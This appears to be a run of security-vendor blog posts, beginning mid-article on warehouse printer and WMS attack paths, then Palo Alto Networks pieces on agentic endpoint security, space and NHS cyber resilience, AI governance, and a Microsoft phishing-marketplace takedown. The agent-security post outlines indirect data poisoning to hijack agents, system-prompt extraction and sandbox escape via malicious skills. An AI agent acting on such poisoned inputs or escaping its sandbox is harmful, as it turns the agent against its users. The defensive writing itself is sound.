Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

Enterprises spent the last two years racing to capture the vast potential of AI, authorizing AI agents to touch production code, internal databases, customer tickets and financial ledgers. Because these agents operate non-deterministically with broad capabilities, they can easily be manipulated into unexpected or malicious behavior. The result is agents breaking out of isolation, shifting AI risk from a hallucinating chatbot to an operational liability. 

The standard fixes, such as software containers or prompt-level guardrails, aren't sufficient to prevent malicious agent behavior. And traditional endpoint security was not designed to secure agents, which operate with real user access. Just as we pioneered XDR to include network, identity and cloud, we must now expand protection to secure agents in the enterprise. 

Cortex XDR One brings together XDR and Koi Agentic Endpoint Security to protect both traditional system processes and AI agents, delivering layered enforcement across an agent’s execution path. XDR One is designed to control an agent’s actions at the source, enforce hard boundaries at the operating system level, and spot rogue behavior through an AI-driven layer of defense.

An Emerging Security Blind Spot

Endpoints have evolved from controlled execution environments into complex ecosystems of AI coding agents, AI co-pilots, MCP servers and personal agents with access to sensitive data and systems. These artifacts can bypass traditional controls and operate in critical blind spots. 

When an agent ingests an untrusted input, connects to a compromised enterprise app or executes an unauthorized command, it transforms from a productivity tool into an active risk vector. Because agents operate with real user permissions and non-deterministic behavior, security teams face a compounding set of enterprise challenges that extend far beyond simple prompt injections.

Employees are adopting personal AI agents and browser tools that bypass IT oversight, spreading shadow AI across endpoints. At the same time, attackers are exploiting connected systems to manipulate these agents. By poisoning the external data, databases, or SaaS applications an agent relies on, adversaries can alter its behavior indirectly without ever touching the AI model itself. Without hard boundaries, an agent can be tricked into escalating host privileges, bypassing local containers or executing arbitrary system commands. In short, the agent escapes its intended sandbox and becomes an unwitting insider threat.

Adversaries are already exploiting this new vulnerability. In the ClawHavoc supply chain attack, adversaries targeted agents by uploading hundreds of malicious skills to OpenClaw's marketplace; once installed, these rogue skills broke runtime isolation to give remote attackers direct command-line access on the host. In a separate incident, Unit 42 research showed how agents can be tricked into revealing secret system prompts or sensitive information through indirect data poisoning from connected applications. Additionally, agents can bypass system and access controls when tricked into issuing unauthorized API calls or executing system tools under the guise of legitimate user permissions. Compounding these risks is the rise of shadow AI, as ungoverned, unmonitored agents deployed by employees silently inherit elevated system privileges without IT visibility.

When agentic AI was just emerging, we saw the potential risks it would bring and immediately sought out a solution to secure our internal AI workloads. Our InfoSec team found and deployed Koi while the startup was still in stealth mode. Impressed by Koi’s unique ability to secure new agentic endpoint behavior, we welcomed the talented Koi team into the Palo Alto Networks family to deliver this protection directly to our customers.

Cortex XDR One: Securing Every Endpoint and Agent from a Single Platform

XDR One integrates Cortex XDR and Cortex Agentic Endpoint Security with a single user interface and sensor, providing centralized visibility, management and investigation.

From sanctioned agents to shadow AI, XDR One gives teams a real-time inventory of every AI artifact the moment it appears on an endpoint. Armed with visibility into all the agent activity in the enterprise, security teams can control what packages, extensions, agents and AI artifacts are allowed to be installed or used. For example, a CISO can evaluate which vibe coding agents are actually being used by engineering teams and make an informed decision about the productivity impact of removing access to a specific agent. 

Securing the modern endpoint requires unified defense across both the AI agent lifecycle and the underlying operating system. XDR One delivers this protection, from software installation to live execution. Within the agent layer, it enforces runtime guardrails to help stop prompt injections and destructive commands. Simultaneously at the OS layer, XDR One continuously monitors runtime process chains to block zero-day exploits and living-off-the-land attacks in real time without affecting performance. To complement these defenses, optimized small language models run directly on the endpoint sensor to guard against evasive, fileless threats even while offline and without sending sensitive code to the cloud. By stitching cross-domain telemetry into clear, end-to-end attack chains, XDR One cuts false positives by up to 95% and drives automated remediation in minutes.

Ultimately, consolidating this security telemetry onto a single sensor eliminates fragmented point tools and establishes a powerful operational foundation, equipping Cortex XSIAM with the critical data needed to better govern AI risk across the enterprise.

Flexible Protection with Standalone Agentic Endpoint Security or Native Integration

Cortex Agentic Endpoint Security (AES) specifically governs AI tools, MCP servers and agentic workflows running on those hosts. Organizations have the flexibility to deploy AES alongside existing third-party EDR environments using the Cortex targeted sensor.

However, organizations can simplify operations when AES and XDR come together natively in Cortex XDR One. By unifying agentic defense and extended detection and response into a single sensor and platform, XDR One bridges the gap between traditional host security and AI risks, delivering seamless visibility, management and real-time investigation.

Setting a New Baseline for Endpoint Security

The era of standalone EDR has passed. Just as XDR moved beyond siloed endpoint detection and response to encompass network, identity and cloud, securing the modern enterprise now demands native protection for autonomous AI workloads. EDR without integrated agentic security is incomplete and fundamentally legacy. Disconnected point solutions lack visibility into OS execution, while bolt-on EDR offerings fail to correlate the agent’s prompt and tool context with subsequent system behaviors. Relying on a bird of prey may seem like high-end security, until you discover it only swoops in after the wolf has already attacked the flock.

XDR One sets the new standard for endpoint security, providing unmatched visibility and preemptive control across both the OS and AI layers within a single sensor.

Scaling Enterprise AI with Confidence

While XDR One delivers complete standalone protection, security leaders grappling with this complex new attack surface can augment their team’s capabilities with Unit 42 MDR, which will now include Managed Agentic Endpoint Security. By combining XDR One telemetry with elite threat intelligence, Unit 42 experts deliver proactive threat hunting, incident investigation, and AI risk governance to strengthen overall resilience.

Securing the Agentic Frontier

As organizations race to adopt AI agents, security teams face a pivotal transition. The expansion of agentic capabilities across enterprise endpoints demands a security posture that treats agents with the same rigor and control as traditional system processes.

By unifying agentic endpoint defense and XDR into a single sensor and platform, XDR One sets a new standard for endpoint security in the agentic era. Whether deployed independently or backed by Unit 42 expertise, XDR One gives security leaders the visibility and control needed to eliminate shadow AI, enforce operational guardrails and accelerate their AI transformation.

 

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Forward-Looking Statements
This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact, or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. Any unreleased services or features (and any services or features not generally available to customers) referenced in this or other press releases or public statements are not currently available (or are not yet generally available to customers) and may not be delivered when expected or at all. Customers who purchase Palo Alto Networks applications should make their purchase decisions based on services and features currently generally available.

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AI agents and AI-enabled tools are fundamentally changing how work gets done. From coding assistants to Model Context Protocol (MCP) servers, autonomous tools now access sensitive data, execute commands, and modify local workflows directly from the endpoint. Traditional endpoint security models fail to offer the visibility or governance required to manage these autonomous actions.

The security gap is already significant. Only 6% of organizations have an advanced AI security strategy. And the fastest attacks can move from initial access to data exfiltration in just 72 minutes, according to the 2026 Unit 42 Global Incident Response Report. As AI adoption grows, teams need context to prioritize risk and experts ready to respond so the business can continue adopting AI with confidence.

Today, we are announcing Unit 42 Managed Agentic Endpoint Security (Managed AES). We built the service on Cortex AES, our AI-native endpoint security platform that provides visibility, contextual risk intelligence and protection for AI agents and artifacts. Managed AES adds 24/7 Unit 42 expertise to help organizations put those capabilities into action. Backed by Unit 42 threat intelligence, our experts provide AI governance, threat hunting, investigation and response, and AI-related cyber hygiene. They apply human judgment to turn contextual intelligence into policy recommendations and prioritized actions as the environment evolves.

Continuous Expert Defense for the AI Environment

Managed AES brings continuous Unit 42 expertise to four areas of AI endpoint security.

• Govern AI Adoption with Greater Confidence
  AI adoption often moves faster than security teams can assess it. Our experts help identify AI tools and associated risks, evaluate exposure and recommend improvements to policies and controls. Security leaders gain a clearer view of AI use across their environment.
• Hunt for Emerging and Zero-Day Threats
  AI-related threats can emerge before they trigger a known alert. Our threat hunters use frontline threat intelligence and Cortex AES signals to proactively hunt across the customer’s AI environment. They evaluate findings, recommend action and refine policies and correlation rules to strengthen protection over time.
• Investigate and Respond 24/7
  Our analysts continuously monitor activity, investigate suspicious behavior and take permitted actions on the customer’s behalf to contain AI-related threats. Security teams gain specialized support to understand what happened, determine the potential impact and prioritize next steps.
• Continuously Strengthen AI-Related Cyber Hygiene
  Unit 42 assesses the customer’s AI security posture as adoption evolves. AI Security Posture Reports identify policy and control improvements, while Threat Impact Reports detail threats, potential impact, response actions taken and recommended next steps. These insights help teams prioritize improvements.

Expert Protection Across Your AES Environment

Organizations can choose the Cortex AES deployment model that best fits their environment while receiving the same 24/7 Unit 42 expertise.

• Managed AES with Standalone Cortex AES
  Organizations can deploy Cortex AES alongside their existing endpoint security solution for AI-native visibility, contextual risk intelligence, governance and protection for AI agents and AI-enabled tools. Managed AES adds Unit 42 experts who help customers act on that visibility and risk intelligence.
• Managed AES with Cortex XDR One
  Cortex XDR One brings together Cortex AES and Cortex XDR into a single sensor and console experience. It combines endpoint detection and response with AI-native security for AI agents and artifacts. Unit 42 experts provide 24/7 governance, threat hunting, investigation and response across the entire endpoint attack surface.

Securely Scale AI Adoption

Unit 42 Managed AES helps security teams understand how AI is being used, address risk before it escalates and respond quickly when threats emerge. By combining Cortex AES context with frontline threat intelligence and expert analysis, Managed AES helps businesses adopt AI with confidence.

Register for our upcoming webinar, The Next Era of Endpoint Security, to learn how Cortex AES and Unit 42 experts help your team govern AI risks, strengthen visibility and protect the agentic endpoint.

The post Introducing Unit 42 Managed Agentic Endpoint Security appeared first on Palo Alto Networks Blog.

Are organisations becoming so reliant on third party space assets that they would face severe disruption if the assets were impacted by a cyber attack?

When most people think of space technology, they imagine routine weather forecasts or blue-dot navigation on a smartphone map. But behind those quiet satellite signals lies an invisible digital thread holding modern society together. From crop harvesting schedules to international flight routes and supermarket supply chains, daily life on Earth is deeply dependent on data from space.

Yet space security remains the cyber risk that very few in executive boardrooms are addressing. As the space economy surges toward a $1.01 trillion valuation by 2034, a dangerous blind spot has emerged. Cyber threats to orbital infrastructure are no longer a theoretical hazard—they are happening now.

Privatization Outpacing Security

Historically, space operations were the exclusive domain of governments operating in strictly air-gapped environments with near-zero tolerance for risk. Today, rapid commercial privatization has slashed launch costs, but speed to market is dangerously outstripping security by design. Commercial operators inherit standard enterprise IT vulnerabilities, complex supply chain risks, unpatched APIs, and operational technology gaps.

The systemic disconnect is stark:

• According to data from the Organisation for Economic Co-operation and Development (OECD), space-based systems now support more than 50% of all critical services and infrastructure across modern economies.
• The European Commission’s latest assessment is that 10% of the EU’s GDP is enabled directly or indirectly by satellite navigation signals. This equates to around €1.88 trillion based on the EU’s GDP for 2025.
• Yet 85% of organisations aren’t factoring space assets into their cyber risk mitigation strategy, according to the World Economic Forum.

Physical Consequences on the Ground

Unlike typical corporate breaches, orbital cyber attacks can trigger immediate physical impacts on Earth. Tampering with satellite telemetry can destabilize regional crop yields by altering planting schedules or paralyze commercial aviation by injecting false data into flight-navigation networks.

Crucially, these risks are not limited to assets in orbit. Ground-based power substations, telemetry command hubs, and downlink facility infrastructure have become primary cyber-physical targets. A coordinated cyber attack on local energy substations supporting satellite ground operations could sever communication links and ground control just as effectively as an in-orbit compromise.

A study commissioned by the European Space Agency (ESA) modeled the impact of a hypothetical 7-day satellite communications outage across ESA member states and Canada. The potential cost reaches up to €20 billion ($21.8 billion) in total economic losses. This includes €19 billion in maritime logistics and port bottlenecks, €558 million in direct aviation losses (canceling ~4,000 transatlantic flights), €352 million in lost connectivity for emergency services and remote communities, and €89.8 million from stalled offshore energy operations.

Aging Tech Meets Advanced Threat Actors

Geostationary satellites carry mission lifespans of 10 to 15 years, locking critical communications into legacy hardware designed before modern cyber threats existed. Nation-states and cybercriminals are exploiting these gaps; Palo Alto Networks Unit 42 threat intelligence currently tracks multiple state-sponsored groups actively targeting space-sector systems.

What Leaders Must Do Now

Governments and enterprise boards must recognize space-based timing, navigation, and observation as core national critical infrastructure. Leadership teams should execute four priorities immediately:

1. Map Space Dependencies: Audit third-party services, cloud links, and automated logistics relying on satellite telemetry.
2. Establish Terrestrial Backups: Build manual redundancies—including ground-based radio networks and offline inventory controls—for scenario planning when space signals go dark.
3. Elevate Supply Chain Audits: Evaluate whether key vendors rely on single-point-of-failure commercial satellite constellations or unfortified ground substations.
4. Update Risk Registers: Formally integrate space dependencies into corporate cyber risk registers.

Translating these action items into real-world operational resilience requires moving beyond static compliance policies. To protect complex ecosystems—where ground stations, power substations, cloud environments, and orbital data streams converge—organizations need a unified, platformized approach to security that provides continuous visibility across every link in the space supply chain.

In the modern threat landscape, business resilience, national sovereignty, and space security are inseparable. It is time for leaders to look up before an orbital breach brings ground operations to a standstill.

The post The Blind Spot in Orbit: Why Space Could Be the Next Infrastructure Crisis appeared first on Palo Alto Networks Blog.

The NHS has set an ambitious goal of achieving cyber resilience across healthcare organisations by 2030. Delivering on that vision requires technology, expertise and close collaboration across the public and private sectors.

This is clearly a highly complex task, but one we're delighted to help deliver in partnership with IBM. Through this partnership, Palo Alto Networks will provide advanced cloud-based perimeter technology, alongside IBM Consulting’s specialist guidance, implementation support and tailored onboarding for NHS organisations.

As health and care services continue to modernise, maintaining resilient, secure digital infrastructure has never been more important. Healthcare organisations are operating in an increasingly complex environment, with growing digital dependencies, expanding supply chains, evolving cyber threats and new technologies such as AI reshaping the landscape.

According to IBM's Cost of a Data Breach Report, healthcare continues to be one of the most impacted sectors globally when it comes to the financial consequences of cyber incidents. This highlights the importance of taking a proactive, long-term approach to cyber resilience across critical public services.

Palo Alto Networks' continued work with the NHS demonstrates the scale and complexity of securing modern healthcare environments. As organisations balance innovation, operational demands and evolving security requirements, there is a growing need for solutions that provide both strong protection and the flexibility to meet local needs.

Introducing the Next Generation of the NHS Secure Boundary Programme

Palo Alto Networks will deliver next-generation, cloud-based security solutions through the next iteration of the NHS Secure Boundary programme. The service has been designed to help strengthen cyber resilience across UK health and social care organisations while supporting the safe and reliable delivery of services.

Secure Boundary provides the capability to support a network spanning more than 1.5 million NHS staff, over 200 NHS trusts, more than 55,000 organisations handling health data and approximately 2 million devices under national cyber monitoring. The nationally integrated and centrally funded service embodies a "Defend as One" approach, helping organisations benefit from shared protection while retaining local control.

Secure Boundary supports NHS organisations through:

• An AI-enabled cybersecurity capability designed to strengthen resilience and support the safe, reliable delivery of healthcare services.
• Enhanced visibility and protection for internet traffic across the Health and Social Care Network.
• Improved security for infrastructure and clinical applications operating across multiple service providers.
• Increased protection for information shared across NHS organisations and trusted third parties.
• Greater privacy and security for staff accessing web-based services, whether on-site or remotely.
• A "Defend as One" approach that complements existing local security measures while allowing organisations to tailor policies to their specific requirements.
• Reduced complexity through the consolidation of security tools and management processes.
• Improved efficiency through a centrally funded model that helps reduce duplication of technology and investment.

The new Secure Boundary service represents a significant step forward in strengthening the NHS's digital resilience. By providing a more secure foundation for NHS services, it helps support operational continuity, safeguard sensitive information and enable healthcare teams to continue delivering high-quality care in communities across the UK for years to come.

If you would like to find out more about Secure Boundary and how it can help your organisation, please contact ukpubsec@paloaltonetworks.com. 

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Forward-Looking Statements

This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact, or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. These forward-looking statements are not guarantees of future performance, and there are a significant number of factors that could cause actual results to differ materially from statements made in this blog. We identify certain important risks and uncertainties that could affect our results and performance in our most recent Annual Report on Form 10-K, our most recent Quarterly Report on Form 10-Q, and our other filings with the U.S. Securities and Exchange Commission from time-to-time, each of which are available on our website at investors.paloaltonetworks.com and on the SEC's website at www.sec.gov.  All forward-looking statements in this blog are based on information available to us as of the date hereof, and we do not assume any obligation to update the forward-looking statements provided to reflect events that occur or circumstances that exist after the date on which they were made.  

 

The post NHS England evolves its cybersecurity strategy with Palo Alto Networks and IBM appeared first on Palo Alto Networks Blog.

Hope is not a strategy. Neither is nostalgia.

Mark Carney, Prime Minister of Canada

 

Business leaders cannot respond to AI-era cyber risk by longing for a simpler technology stack, slower decision-making or a security model built around a trusted internal network. AI is changing how organisations operate—and how adversaries identify and exploit weaknesses—faster than many leadership teams can anticipate.

Cybersecurity has therefore evolved from a “coconut strategy”, built around a hardened perimeter and trusted interior, to what I call a “mango strategy”. The modern enterprise and its digitally connected ecosystem have a porous, continuously changing edge, but it must place its strongest protection around the core: its data, identities, code repositories, applications, digital essentials and critical operations.

What is the CEO’s role in AI governance and cybersecurity?

This shift makes cybersecurity a CEO-level business priority. CEOs do not need to oversee every AI deployment, but they must define how the organisation adopts, governs and secures AI while maintaining resilience, accountability and trust. That means setting risk thresholds, assigning accountability, protecting critical data and identities, and ensuring that security can operate at the same machine-speed as autonomous systems.

Why autonomous AI agents require workforce-level oversight

Given this dual nature, business leaders cannot afford to ignore AI. Like water, AI adoption will find its way and follow the path of least resistance as a senior cybersecurity leader from a large European bank put it. Without clear governance, it can expose weak controls, while AI-enabled attackers can exploit those weaknesses at unprecedented speed and scale.

Some have suggested that CEOs should double as Chief AI Officers. However, as executive responsibilities expand, expecting a CEO to oversee day-to-day AI implementations while setting broader corporate vision is unrealistic. While the CEO may not manage specific AI initiatives, they must actively shape the overarching strategy, the “AI surround and framework”.

This leadership starts with developing and hiring highly capable talent to execute the vision. The CEO’s true value lies in ensuring that AI is embraced across every business unit, integrated into risk models, and governed by robust safeguards. Proper administration and oversight are no longer secondary concerns—they are core executive functions.

A critical dimension of this responsibility is governing the use of agentic AI. Autonomous agents function effectively as "authorized insiders." Custom-built for specific workflows, they leverage elevated privileges to access critical applications, databases, and proprietary tools around the clock.

In practice, these agents represent a new class of virtual employees. Though non-human, their operational impact is comparable to their human counterparts, yet they operate 24/7. CEOs must ensure that autonomous agents are deployed, monitored, and evaluated with the same rigors applied to the rest of the workforce.

How can leaders build resilience against AI-driven instability?

Translating this new operational reality into steady organizational resilience requires recognizing AI's broader societal impact. While the technology holds vast potential for good, it can also accelerate systemic and geopolitical instability when misused. For instance, recent developments in frontier AI models demonstrating advanced exploit-generation capabilities highlight the immediate necessity of defense-in-depth.

Palo Alto Networks CEO Nikesh Arora highlighted this shift in this article - Weaponised Intelligence -  “These are not incremental improvements. Imagine a horde of agents methodically cataloging every weakness in your technology infrastructure, constantly. Over the next six months, the barrier to entry for sophisticated attacks will continue to diminish. A hacker’s dream weapon will be available to anyone with a credit card and computer.”

To counter these emerging risks, leading AI developers and security organizations are actively collaborating. Through initiatives like Project Glasswing, partners across technology and financial services are stress-testing defender-grade models to harden critical software and establish proactive defenses before threats reach the wild.

These collaborative initiatives address the exact questions executive boards are asking today: Where are our exposure points, how severe are they, and how quickly can we contain them?

Answering these questions requires a strong security culture. Defining how an organization adopts and governs AI is now a core mandate for executive leadership. Even with specialized AI leadership in place, the CEO must drive the culture to align AI implementation with business values and strategic priorities.

Ultimately, executive leadership must set clear parameters: defining operational boundaries, establishing accountability, tracking key progress metrics, and encouraging responsible innovation within controlled risk thresholds.

Four cybersecurity priorities for the agentic AI era

The cybersecurity landscape has reached an inescapable inflection point: we have entered the "Agentic Era," where autonomous AI agents drive attacks at machine speed. In this environment, manual, reactive patching is no longer just slow—it is a mathematical dead end that can leave enterprises effectively unprotected.

Navigating this shift requires a deliberate transition from reactive measures to proactive architecture built on four strategic pillars:

1. Fight Machine with real-time machine speed: Because automated adversaries can scan millions of endpoints and chain multiple low-severity vulnerabilities into catastrophic exploit paths, human-led response is a guaranteed failure. Organizations must move to a prevention-first posture, using AI-driven systems that natively integrate across network, cloud, and endpoint telemetry to block threats in real-time.
2. The "Customer Zero" Mandate: The time between a model's release and its weaponization is shrinking to zero. Palo Alto Networks acts as "Customer Zero" by stress-testing frontier models during their development phase, hardening the security stack against specific autonomous logic capabilities well before they are public.
3. Move Beyond "Find-and-Fix": Finding vulnerabilities is only half the battle. The new imperative is to prioritize remediation based on exploitability and reachability—identifying which vulnerabilities can be chained together by an attacker—rather than just severity. This requires shifting operations to machine-speed defense via unified platforms and services like Unit 42 Frontier AI Defense or virtual patching, allowing you to safely patch your digital essentials when real-time agentic attacks are happening.
4. Prioritize Platformization: Fragmented security architectures—where point solutions cannot communicate—are an open invitation to automated lateral movement. A unified, data-driven architecture is a prerequisite for security, enabling a threat blocked at the endpoint to harden an organization’s perimeter.

How CEOs can create the defender’s advantage

For the C-suite, the takeaway is clear: Digital transformation and cybersecurity transformation are now inextricably linked. The organizations that adapt by rebuilding their architecture around unified data and autonomous prevention will hold the "defender's advantage," while those relying on legacy, manual workflows remain exposed to a rapidly accelerating threat landscape.

Nostalgia offers no protection against the speed and complexity of the modern threat landscape. Operating under the assumption that perimeters remain secure is a legacy mindset. 

As executive leaders refine their strategy for the AI era, two core principles should guide their approach:

• Cybersecurity is a data issue, not a technology issue. The goal is to protect data, not just to harden infrastructure.
• Many of our core best practices in cybersecurity, such as Zero Trust and modular platformization, are more appropriate than ever in the era of AI and automated agents. 

Helmut Reisinger is CEO for Europe, Middle East and Africa at Palo Alto Networks.

The post The Mango Strategy: A CEO’s Guide to AI Cybersecurity appeared first on Palo Alto Networks Blog.

Most people have opened their messages to find a suspicious alert urgently telling them that a package cannot be delivered, a toll remains unpaid, a bank account needs attention, or a tax bill is overdue. The details may change, but the goal is the same: to get someone to click, share personal information, or pay. 

These messages are relentless. Delete and block one, and another takes its place. Ignore them, and more will follow. Fall for one, and the floodgates open. What appears to be a simple scam message is often the visible end of a much larger transnational cybercriminal operation. 

When Microsoft and Japan’s National Police Agency (NPA) followed a wave of fraud and scam activity targeting people and businesses in Japan, they expected to find individual campaigns. Instead, they found themselves inside a sprawling Chinese-language cybercrime marketplace where criminals could buy accounts, hosting services and tools used to create fake websites and online identities. The investigation expanded globally, involving the Japan Cybercrime Control Center (JC3), Resecurity, Cloudflare, Oracle, Proofpoint and TRM Labs to uncover the businesses sustaining this criminal ecosystem. 

Today, Microsoft and Health-ISAC, a global non-profit that helps health sector organizations share cyber threat information and collaborate to improve operational resilience, are moving to dismantle three components of this criminal marketplace: YAM Store, CoGUI and Iron Man.  

Since January 2026, YAM Store, CoGUI and Iron Man have collectively enabled more than one billion malicious messages targeting over 75,000 organizations worldwide, including more than 750 million messages geared toward Microsoft customers alone. These messages have been used to target consumers, healthcare organizations, financial institutions, and other businesses in more than 150 countries, generating tens of millions of dollars for their operators.   

Tracing the businesses behind the scams

The investigation began in late 2025 after Japan’s NPA alerted Microsoft to malicious messaging campaigns targeting people in Japan. NPA continued providing intelligence and investigative support as the partners traced those campaigns back to the businesses supplying criminals around the world. 

The trail led investigators deep into a Chinese-language cybercrime ecosystem that was difficult for non-native-speaking investigators to penetrate. There, they gained access to CoGUI, which supplied criminals with ready-made websites and messages impersonating companies, financial institutions, government agencies, and other trusted organizations. Instead of creating fraudulent websites themselves, criminals could quickly deploy pages designed to steal passwords, payment information, and other personal data.  

As Microsoft’s investigation expanded, intelligence from JC3 helped confirm the scale of the activity affecting Japanese organizations and their customers. Drawing on information collected across its network of more than 130 member organizations, JC3 connected what appeared to be separate incidents to a broader pattern of scams targeting Japanese companies and financial institutions, including efforts to defraud consumers and to steal credentials and other sensitive information.  

One name that kept appearing throughout the investigation was YAM Store. YAM Store operated much like an online shop. Customers could browse products, compare prices and purchase fraudulent Microsoft and Google accounts and other ready-made tools used to carry out scams, including credential theft. Controlled purchases conducted by Microsoft helped confirm how it worked. 

